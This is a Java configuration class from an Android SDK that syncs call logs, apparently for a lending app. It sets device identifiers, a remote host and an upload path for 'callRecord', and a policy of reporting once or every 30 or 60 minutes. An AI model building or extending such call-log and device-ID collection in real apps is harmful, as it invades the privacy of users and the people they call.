package com.xof.inisyccalllog;

import android.text.TextUtils;

import com.xof.inisyccalllog.logger.ASLogger;

public class ASCallLogBuilder {
    public static String KEY_CLIENT_TYPE = "ANDROID";
    public static String KEY_VERSION = "";
    public static String KEY_USER_NAME = "";
    public static String KEY_ADVERT_ID = "";
    public static String KEY_TOKEN = "";
    public static String KEY_LOGIN_ID = "";
    public static String KEY_IP = "";
    public static String KEY_MAC = "";
    public static String KEY_ANDROID_ID = "";

    public static final String SDK_VERSION = "44";
    public static final String KEY_BORROWID = "CALL_LOG_BORROWID";

    public static final String KEY_FETCH_LAST_UPDATE_TIME = "CALL_LOG_LAST_UPDATE_TIME";

    public static final String AS_ACTION = "com.sky.datasyc.DATASYNC_BROADCAST_ACTION";
    public static final String AS_RECEIVER = ".receiver.ASSyncDataReceiver";

    public static final String TYPE_CALL_LOG = "CALL_LOG";

    public static final String PATH_CALL_LOG = "/casharrowvnd/v1/dun/callRecord";

    public static boolean RESULT_CALL_LOG = false;

    public static String B_SERVER_HOST = "https://www.nextcredit.business";

    public static boolean B_IS_MOCK = false;

    public static int B_REPORT_POLICY = ASCallLogReportPolicy.POLICY_REPORT_ONLY_ONCE;

    public static void setReportPolicy(int policy) {
        switch (policy) {
            case ASCallLogReportPolicy.POLICY_REPORT_EVERY_30_MINUTE: {
                B_REPORT_POLICY = ASCallLogReportPolicy.POLICY_REPORT_EVERY_30_MINUTE;
                break;
            }
            case ASCallLogReportPolicy.POLICY_REPORT_EVERY_60_MINUTE: {
                B_REPORT_POLICY = ASCallLogReportPolicy.POLICY_REPORT_EVERY_60_MINUTE;
                break;
            }
            case ASCallLogReportPolicy.POLICY_REPORT_ONLY_ONCE:
            default: {
                B_REPORT_POLICY = ASCallLogReportPolicy.POLICY_REPORT_ONLY_ONCE;
                break;
            }
        }
    }

    public static void setLog(boolean log) {
        ASLogger.Debug = log;
    }

    public static void setMock(boolean isMock) {
        B_IS_MOCK = isMock;
    }

    public static void setServerHost(String serverHost) {
        if ((!TextUtils.isEmpty(serverHost)) && (serverHost.startsWith("http"))) {
            B_SERVER_HOST = serverHost;
        }
    }

    public static void resetResult(String type) {
        if (ASCallLogBuilder.TYPE_CALL_LOG.equalsIgnoreCase(type)) {
            ASCallLogBuilder.RESULT_CALL_LOG = false;
        }
    }
}
